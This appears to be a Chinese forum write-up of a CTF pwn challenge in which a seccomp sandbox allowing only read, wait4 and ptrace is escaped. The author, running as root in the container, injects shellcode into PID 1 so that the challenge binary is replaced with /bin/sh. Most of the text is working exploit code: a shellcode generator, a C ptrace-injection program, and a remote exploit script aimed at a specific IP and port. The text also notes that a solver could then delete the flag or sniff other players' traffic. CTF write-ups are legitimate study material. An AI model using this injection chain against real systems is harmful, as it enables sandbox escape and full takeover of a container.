ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。
开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
dump一下沙箱的规则:
只允许read, wait4, ptrace
目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。
题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:
但是本题目环境不存在这两个问题
(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)
注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。
这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。
容器中的进程有:
自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:
生成第二段shellcode(注入sh执行的shellcode):
生成第一段shellcode(发给程序的):
然后编译一下:
gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了
这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量()不知道是不是预期解
版主回复说在预期内,可以打通之后删flag防蹭车
然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ
因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:
已知ptrace可以做的三件好事:
此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)
root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope
设置为0,非root用户就能trace本用户的所有进程。
题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:
虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:
然而,docker中的/proc/sys/kernel/yama/ptrace_scope
随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。
作者刚学Linux的小菜鸡一枚,感谢师傅们读到这里,文中如有谬误还请评论指正
from
pwn
import
*
context.arch
=
'amd64'
sc
=
asm(shellcraft.execve(
'/bin/sh'
, [
'/bin/sh'
,
'-c'
,
'/bin/cp /bin/sh /home/sectest/power; sleep infinity'
],
0
)
+
'\njmp $+0'
)
print
(
', '
.join([
hex
(u64(sc[i:i
+
8
].ljust(
8
, b
'\x90'
)))
for
i
in
range
(
0
,
len
(sc),
8
)]))
from
pwn
import
*
context.arch
=
'amd64'
sc
=
asm(shellcraft.execve(
'/bin/sh'
, [
'/bin/sh'
,
'-c'
,
'/bin/cp /bin/sh /home/sectest/power; sleep infinity'
],
0
)
+
'\njmp $+0'
)
print
(
', '
.join([
hex
(u64(sc[i:i
+
8
].ljust(
8
, b
'\x90'
)))
for
i
in
range
(
0
,
len
(sc),
8
)]))
int
main() {
pid_t sleep_pid
=
2
;
struct user_regs_struct regs;
struct rusage usage;
int
status;
unsigned
long
long
data[]
=
{
/
/
刚刚生成的shellcode
0x10101010101b848
,
0x68632eb848500101
,
0x431480169722e6f
,
0x101b848e7894824
,
0x4850010101010101
,
0x17875686f6867b8
,
0x73b8482404314801
,
0x506e69207065656c
,
0x7265776f702fb848
,
0x65732fb84850203b
,
0xb848507473657463
,
0x656d6f682f206873
,
0x622f207063b84850
,
0x101b848502f6e69
,
0x4850010101010101
,
0x6f68632e01622cb8
,
0x1b848240431482e
,
0x5001010101010101
,
0x722e6f68632eb848
,
0xf631240431480169
,
0x56e601485e136a56
,
0x6a56e601485e186a
,
0x894856e601485e18
,
0x50f583b6ad231e6
,
0x909090909090feeb
};
syscall(SYS_ptrace, PTRACE_ATTACH,
1
, NULL, NULL);
while
(syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid
+
+
;
}
syscall(SYS_wait4,
1
, &status,
0
, &usage);
syscall(SYS_ptrace, PTRACE_GETREGS,
1
, NULL, ®s);
for
(
int
i
=
0
; i < sizeof(data)
/
sizeof(data[
0
]); i
+
+
) {
syscall(SYS_ptrace, PTRACE_POKEDATA,
1
, (void
*
)(regs.rip
+
i
*
sizeof(unsigned
long
long
)), (void
*
)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void
*
)SIGALRM);
syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH,
1
, NULL, NULL);
return
0
;
}
int
main() {
pid_t sleep_pid
=
2
;
struct user_regs_struct regs;
struct rusage usage;
int
status;
unsigned
long
long
data[]
=
{
/
/
刚刚生成的shellcode
0x10101010101b848
,
0x68632eb848500101
,
0x431480169722e6f
,
0x101b848e7894824
,
0x4850010101010101
,
0x17875686f6867b8
,
0x73b8482404314801
,
0x506e69207065656c
,
0x7265776f702fb848
,
0x65732fb84850203b
,
0xb848507473657463
,
0x656d6f682f206873
,
0x622f207063b84850
,
0x101b848502f6e69
,
0x4850010101010101
,
0x6f68632e01622cb8
,
0x1b848240431482e
,
0x5001010101010101
,
0x722e6f68632eb848
,
0xf631240431480169
,
0x56e601485e136a56
,
0x6a56e601485e186a
,
0x894856e601485e18
,
0x50f583b6ad231e6
,
0x909090909090feeb
};
syscall(SYS_ptrace, PTRACE_ATTACH,
1
, NULL, NULL);
while
(syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid
+
+
;
}
syscall(SYS_wait4,
1
, &status,
0
, &usage);
syscall(SYS_ptrace, PTRACE_GETREGS,
1
, NULL, ®s);
for
(
int
i
=
0
; i < sizeof(data)
/
sizeof(data[
0
]); i
+
+
) {
syscall(SYS_ptrace, PTRACE_POKEDATA,
1
, (void
*
)(regs.rip
+
i
*
sizeof(unsigned
long
long
)), (void
*
)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void
*
)SIGALRM);
syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH,
1
, NULL, NULL);
return
0
;
}
from
pwn
import
*
context.arch
=
'amd64'
p
=
remote(
"47.101.191.23"
,
9999
)
p.send(bytes.fromhex(
'eb44'
)
+
bytes.fromhex(
'554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'
))
p.close()
p
=
remote(
"47.101.191.23"
,
9999
)
p.sendline(b
'cat flag'
)
p.interactive()
from
pwn
import
*
context.arch
=
'amd64'
p
=
remote(
"47.101.191.23"
,
9999
)
p.send(bytes.fromhex(
'eb44'
)
+
bytes.fromhex(
'554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'
))
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2024-9-2 14:54
被mb_czamoutp编辑
,原因: 更改标题